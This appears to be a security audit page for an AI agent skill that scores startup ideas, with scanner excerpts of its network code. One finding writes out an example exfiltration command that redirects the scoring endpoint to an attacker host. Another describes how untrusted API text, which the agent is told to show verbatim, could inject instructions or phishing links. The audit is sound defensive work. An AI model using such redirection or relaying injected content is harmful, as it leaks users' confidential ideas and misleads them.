Back to skill

Security audit

Lobstr

Security checks for vulnerabilities and agentic risk

Overview

This startup-scoring skill is mostly coherent, but it sends sensitive idea text to external services and has under-disclosed sharing and endpoint risks users should review before installing.

Install only if you are comfortable sending startup ideas to runlobstr.com by default. Avoid submitting confidential business plans, trade secrets, customer data, or regulated information unless you trust that hosted service and its retention practices. Do not use --public or --moltbook unless you intend the score and idea to be shared externally, and be aware that RUNLOBSTR_API can redirect submissions if your environment is configured by someone else.

Vulnerability Patterns
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/lobstr.py:23
Finding

Arbitrary API Endpoint Override Can Exfiltrate Confidential Startup Ideas

Content
View full analysis
dict | None: """Call runlobstr.com/api/score. Returns the response dict or None on failure.""" try: payload = json.dumps({"idea": idea}).encode() req = urllib.request.Request( RUNLOBSTR_API, data=payload, headers={"Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(req, timeout=90) as resp: return json.loads(resp.read()) ``` ### Technical Analysis The default hosted mode transmits the complete startup idea to the destination held in `RUNLOBSTR_API`. Although the documented destination is `https://runlobstr.com/api/score`, the code permits that destination to be replaced through an environment variable. No validation restricts the replacement URL to HTTPS or to the documented `runlobstr.com` hostname. Consequently, startup ideas that may contain confidential product, strategy, market, or intellectual-property information can be transmitted to an arbitrary HTTP endpoint. This override is not documented in the Skill's declared data-flow documentation and exceeds the minimum network privilege needed for hosted scoring. The hosted mode only requires access to the official scoring endpoint. ### Attack Path 1. An attacker gains control of the environment used to launch the Skill, such as through a compromised wrapper, deployment configuration, shared shell profile, or agent runtime. 2. The attacker sets an alternative endpoint, for example: ```bash export RUNLOBSTR_API="http://attacker.example/collect" ``` 3. A user invokes the Skill with a ...[truncated 1073 chars]
Remediation
View remediation

T01 · Skill Instruction Hijacking

Warning
Location
SKILL.md:57
Finding

Untrusted Hosted API Content Is Required to Be Reproduced Verbatim

Content
View full analysis
dict | None: """Call runlobstr.com/api/score. Returns the response dict or None on failure.""" try: payload = json.dumps({"idea": idea}).encode() req = urllib.request.Request( RUNLOBSTR_API, data=payload, headers={"Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(req, timeout=90) as resp: return json.loads(resp.read()) ``` ```python dimensions = score_json.get("dimensions", {}) for key, label in dim_labels.items(): d = dimensions.get(key, {}) s = d.get("score", 0) v = d.get("verdict", "") lines.append(f"{key} {label} {color_dot(s)} {s}/100 {v}") lines += [ "", "VERDICT", score_json.get("verdict", ""), "", build_str, ] ``` ### Technical Analysis The hosted API response is parsed as JSON, but its textual fields are not subjected to schema constraints, content validation, length limits, or sanitization. Values such as each dimension's `verdict` and the overall `verdict` are copied directly into the score card. `SKILL.md` then instructs the calling agent to show the generated card verbatim and prohibits reformatting or summarization. This creates a trust-boundary failure: remote service content is elevated into agent-visible output under a strong instruction to reproduce it unchanged. A compromised hosted API, malicious replacement endpoint, or compromised network/service account could therefore inject prompt-like instructions, deceptive claims, phishing URLs, adverti ...[truncated 1551 chars]
Remediation
View remediation

other

Note
Location
SECURITY.md:3
Finding

Privacy Documentation Misrepresents Default Third-Party Data Disclosure

Content
View full analysis
dict | None: """Call runlobstr.com/api/score. Returns the response dict or None on failure.""" try: payload = json.dumps({"idea": idea}).encode() req = urllib.request.Request( RUNLOBSTR_API, data=payload, headers={"Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(req, timeout=90) as resp: return json.loads(resp.read()) ``` ### Technical Analysis The documentation correctly acknowledges that the idea is sent to `runlobstr.com`, but it subsequently states that no data is “shared” in default mode. These statements are inconsistent: sending the complete idea to a third-party hosted service is a form of data sharing or disclosure, even when the result is not publicly published. The repository also cannot substantiate the claim that the hosted service does not store submitted data. The client performs no operation capable of enforcing or independently verifying server-side retention behavior. The word “private” is therefore insufficiently precise. Based on the implementation, it means only that the client does not intentionally publish a share URL or post the result to Moltbook by default. It does not mean that the idea remains loc ...[truncated 1069 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (19)

Tainted flow: 'req' from os.environ.get (line 480, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/lobstr.py (reported line 44)May include surrounding context.

python
},
        method="POST",
    )
    with urllib.request.urlopen(req) as resp:
        body = json.loads(resp.read())
    return body["content"][0]["text"].strip()

Tainted flow: 'req' from os.environ.get (line 480, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/lobstr.py (reported line 67)May include surrounding context.

python
},
        method="POST",
    )
    with urllib.request.urlopen(req) as resp:
        body = json.loads(resp.read())
    return body["content"][0]["text"].strip()

Tainted flow: 'req' from os.environ.get (line 480, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/lobstr.py (reported line 83)May include surrounding context.

python
url = f"https://grid.nma.vc/api/public/vcs/match-count?{params}"
    req = urllib.request.Request(url, method="GET")
    try:
        with urllib.request.urlopen(req, timeout=8) as resp:
            return json.loads(resp.read())
    except Exception:
        return {"investor_count": 0, "match_quality": "unknown"}

Tainted flow: 'req' from os.environ.get (line 480, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/lobstr.py (reported line 356)May include surrounding context.

python
},
            method="POST",
        )
        with urllib.request.urlopen(req, timeout=10) as resp:
            data = json.loads(resp.read())
            return data.get("url")
    except Exception:

Tainted flow: 'req' from os.environ.get (line 480, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/lobstr.py (reported line 402)May include surrounding context.

python
},
            method="POST",
        )
        with urllib.request.urlopen(req, timeout=10) as resp:
            data = json.loads(resp.read())
            return data.get("url")
    except Exception:

Tainted flow: 'req' from os.environ.get (line 480, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/lobstr.py (reported line 450)May include surrounding context.

python
method="POST",
    )
    try:
        with urllib.request.urlopen(req, timeout=15) as resp:
            data = json.loads(resp.read())

        if not data.get("success"):

Tainted flow: 'req' from os.environ.get (line 480, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

The hosted API URL is taken from the RUNLOBSTR_API environment variable and the code POSTs the user's startup idea to that endpoint without validation. In environments where attackers or untrusted operators can influence environment variables, this can redirect sensitive user ideas to an arbitrary server, creating unintended data exfiltration.

Content

Scanner excerpt · scripts/lobstr.py (reported line 486)May include surrounding context.

python
headers={"Content-Type": "application/json"},
            method="POST",
        )
        with urllib.request.urlopen(req, timeout=90) as resp:
            return json.loads(resp.read())
    except urllib.error.HTTPError as e:
        body = e.read().decode()

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The description frames the skill as a simple startup-idea evaluator, but the documented behavior includes optional public publication, posting to a third-party community service, use of additional external providers in BYOK mode, and challenge-solving automation. This mismatch is dangerous because users may disclose sensitive startup ideas expecting private scoring, while the skill can transmit or publish that data to additional services they did not clearly consent to.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

High
Category
Not specified by scanner
Confidence
97% confidence
Finding

A startup-idea scoring tool does not need built-in social posting capability to complete its core function, so adding community-posting behavior materially broadens the attack and privacy surface. In this context, accidental or misunderstood use can expose sensitive ideas and analysis to external audiences, making the capability more dangerous than in a dedicated social-posting skill.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
Not specified by scanner
Confidence
99% confidence
Finding

The Moltbook integration can post the user’s startup idea, scorecard, and optional public link to an external social/community service that is not described in the manifest. This creates a substantial confidentiality risk because startup ideas are often proprietary, and posting them to a third-party community is outside the expected scope of an evaluation tool.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The README states that no API keys are needed and that the skill uses a hosted API automatically, but it does not clearly and prominently warn at the point of use that the user's startup idea is transmitted to runlobstr.com in default mode. Startup ideas often contain confidential business concepts, trade secrets, or fundraising strategy, so silent external transmission can cause unintended disclosure and privacy/compliance issues.

Content

No source excerpt is available for this finding.

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
95% confidence
Finding

The skill invokes a Python script that uses environment variables and makes outbound network calls, but the manifest does not declare any tool scope or allowed-tools restrictions. This weakens sandboxing and user awareness, increasing the chance the skill is granted broader execution or network access than intended.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The proactive triggers are broad and overlap with normal brainstorming or advice-seeking conversation, which can cause the skill to activate on sensitive idea discussions without a strong signal of user intent. In this context, unintended invocation matters because the skill sends idea text to external services, so accidental triggering can leak confidential business concepts.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/lobstr.py (reported line 35)May include surrounding context.

python
"messages": [{"role": "user", "content": user}]
    }).encode()
    req = urllib.request.Request(
        "https://api.anthropic.com/v1/messages",
        data=payload,
        headers={
            "x-api-key": ANTHROPIC_API_KEY,

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/exa-search.md (reported line 8)May include surrounding context.

md
"contents": {"text": {"maxCharacters": 200}},
    }).encode()
    req = urllib.request.Request(
        "https://api.exa.ai/search",
        data=payload,
        headers={
            "x-api-key": EXA_API_KEY,

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/lobstr.py (reported line 58)May include surrounding context.

python
"contents": {"text": {"maxCharacters": 200}},
    }).encode()
    req = urllib.request.Request(
        "https://api.exa.ai/search",
        data=payload,
        headers={
            "x-api-key": EXA_API_KEY,

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The skill can publish user idea analyses to runlobstr.com via a separate publish endpoint, which extends beyond basic idea scoring and increases disclosure risk. Even though it is gated by --public, the manifest emphasizes scoring behavior and does not clearly communicate this additional publication capability.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

In the default hosted mode, the user's startup idea is sent to runlobstr.com for scoring without any user-facing warning in the execution path. Because startup ideas may contain confidential business information, silent transmission to a third party creates a meaningful privacy risk even if it is part of the advertised service.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The --moltbook option can result in public disclosure of the user's idea and analysis, but the CLI help text does not make that exposure sufficiently explicit. Users may interpret it as internal integration or logging rather than posting to a public or semi-public community, which increases the chance of accidental disclosure.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.